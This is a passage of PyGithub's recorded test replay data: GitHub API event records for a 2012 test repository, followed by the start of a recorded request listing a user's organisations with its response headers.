PyGithub","distinct":false,"sha":"1c29d761d3e929afcbf8c6cc44b8181068d2d974"}],"ref":"refs/heads/previous_master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:57:39Z","id":"1526010139","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"DeleteEvent","payload":{"ref_type":"branch","ref":"previous_master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:56:56Z","id":"1526010100","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"DeleteEvent","payload":{"ref_type":"tag","ref":"tagCreatedByPyGithub"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:54:25Z","id":"1526009934","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"1c29d761d3e929afcbf8c6cc44b8181068d2d974","size":1,"push_id":65380919,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/1c29d761d3e929afcbf8c6cc44b8181068d2d974","message":"This commit was created by PyGithub","distinct":true,"sha":"1c29d761d3e929afcbf8c6cc44b8181068d2d974"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:52:06Z","id":"1526009779","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"998f4cd5ba9501a7ccff79b0011f4220f16b0271","size":2,"push_id":65380918,"commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/2f51005d80353b3b82cc23908ea4fc7a91230e2f","message":"This commit was created by PyGithub","distinct":false,"sha":"2f51005d80353b3b82cc23908ea4fc7a91230e2f"},{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/998f4cd5ba9501a7ccff79b0011f4220f16b0271","message":"This commit was created by PyGithub","distinct":false,"sha":"998f4cd5ba9501a7ccff79b0011f4220f16b0271"}],"ref":"refs/heads/previous_master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:52:04Z","id":"1526009777","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"DeleteEvent","payload":{"ref_type":"tag","ref":"tag_1330764175"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:47:21Z","id":"1526009425","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"DeleteEvent","payload":{"ref_type":"tag","ref":"a_tag"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:47:15Z","id":"1526009414","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"998f4cd5ba9501a7ccff79b0011f4220f16b0271","size":1,"push_id":65380594,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/998f4cd5ba9501a7ccff79b0011f4220f16b0271","message":"This commit was created by PyGithub","distinct":true,"sha":"998f4cd5ba9501a7ccff79b0011f4220f16b0271"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:42:55Z","id":"1526009059","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"2f51005d80353b3b82cc23908ea4fc7a91230e2f","size":1,"push_id":65379432,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/2f51005d80353b3b82cc23908ea4fc7a91230e2f","message":"This commit was created by PyGithub","distinct":true,"sha":"2f51005d80353b3b82cc23908ea4fc7a91230e2f"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:11:55Z","id":"1526006647","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"e4e84560cb5e87f3c0e9f710dae1ddab0eef487b","size":1,"push_id":65379410,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/e4e84560cb5e87f3c0e9f710dae1ddab0eef487b","message":"This commit was created by PyGithub","distinct":true,"sha":"e4e84560cb5e87f3c0e9f710dae1ddab0eef487b"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:11:13Z","id":"1526006609","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref":null,"ref_type":"repository"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3595643,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-01T20:19:32Z","id":"1525404633","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref_type":"repository","ref":null},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3595636,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-01T20:19:03Z","id":"1525404453","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref":null,"ref_type":"repository"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3595613,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-01T20:16:23Z","id":"1525403337","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref_type":"repository","ref":null},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3595586,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-01T20:12:55Z","id":"1525402258","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref":null,"ref_type":"repository"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3595253,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-01T19:36:29Z","id":"1525387859","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"9473baa2f243872c07c8f008e3d53aed6b5c9ac5","size":1,"push_id":64666710,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/9473baa2f243872c07c8f008e3d53aed6b5c9ac5","message":"This commit was ter created by PyGithub","distinct":true,"sha":"9473baa2f243872c07c8f008e3d53aed6b5c9ac5"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3575047,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-28T20:11:58Z","id":"1524541002","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"ff9cc7d9bcb62d9dbf0784994fe026e9060701ef","size":1,"push_id":64259989,"commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/ff9cc7d9bcb62d9dbf0784994fe026e9060701ef","message":"This commit was ter created by PyGithub","sha":"ff9cc7d9bcb62d9dbf0784994fe026e9060701ef"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3553496,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-26T17:28:36Z","id":"1523710410","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"23395b2fa62293196bd8a640b14447c7b552c301","size":1,"push_id":64257074,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/23395b2fa62293196bd8a640b14447c7b552c301","message":"This commit was ter created by PyGithub","sha":"23395b2fa62293196bd8a640b14447c7b552c301"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3553240,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-26T16:46:35Z","id":"1523704553","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"daded682d3a64f70df2e5561783e7282a5cd80a9","size":1,"push_id":64171897,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/daded682d3a64f70df2e5561783e7282a5cd80a9","message":"This commit was ter created by PyGithub","sha":"daded682d3a64f70df2e5561783e7282a5cd80a9"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3545577,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-25T16:10:21Z","id":"1523516455","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"73b34d944187f282fa6049cd05b02432488b357b","size":1,"push_id":64169946,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/73b34d944187f282fa6049cd05b02432488b357b","message":"This commit was ter created by PyGithub","sha":"73b34d944187f282fa6049cd05b02432488b357b"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3545372,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-25T15:39:19Z","id":"1523512558","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"9f2ec52ae9e166d6104834bd0a7f3f9550565100","size":1,"push_id":64169244,"commits":[{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/9f2ec52ae9e166d6104834bd0a7f3f9550565100","message":"foo","sha":"9f2ec52ae9e166d6104834bd0a7f3f9550565100"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3545295,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-25T15:27:57Z","id":"1523511231","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"ForkEvent","payload":{"forkee":{"name":"FatherBeaver","master_branch":null,"size":0,"created_at":"2012-02-16T21:47:44Z","has_wiki":true,"public":true,"clone_url":"https://github.com/jacquev6/FatherBeaver.git","updated_at":"2012-02-16T21:47:44Z","private":false,"watchers":1,"language":null,"git_url":"git://github.com/jacquev6/FatherBeaver.git","fork":true,"ssh_url":"git@github.com:jacquev6/FatherBeaver.git","url":"https://api.github.com/repos/jacquev6/FatherBeaver","id":3464364,"pushed_at":null,"svn_url":"https://github.com/jacquev6/FatherBeaver","has_downloads":true,"open_issues":0,"mirror_url":null,"homepage":"","has_issues":false,"forks":0,"description":"","html_url":"https://github.com/jacquev6/FatherBeaver","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","id":3400397,"name":"BeaverSoftware/FatherBeaver"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-16T21:47:45Z","id":"1520524054","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":null,"ref_type":"repository","description":""},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","id":3400397,"name":"BeaverSoftware/FatherBeaver"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-09T19:32:22Z","id":"1518484373","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"TeamAddEvent","payload":{"membership_id":963957,"team":{"name":"Owners","url":"https://api.github.com/teams/141487","id":141487},"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"public":false,"repo":{"url":"https://api.github.com/repos//","name":"/"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-09T19:20:13Z","id":"1518480611","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetOrgs.txt0000644000175100001660000000131614756101563024612 0ustar00runnerdockerhttps GET api.github.com None /user/orgs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('content-length', '262'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1534f44ae64c7b70fb520ea37de4328d"'), ('date', 'Sat, 26 May 2012 20:18:49 GMT'), ('content-type', 'application/json; charset=utf-8')] 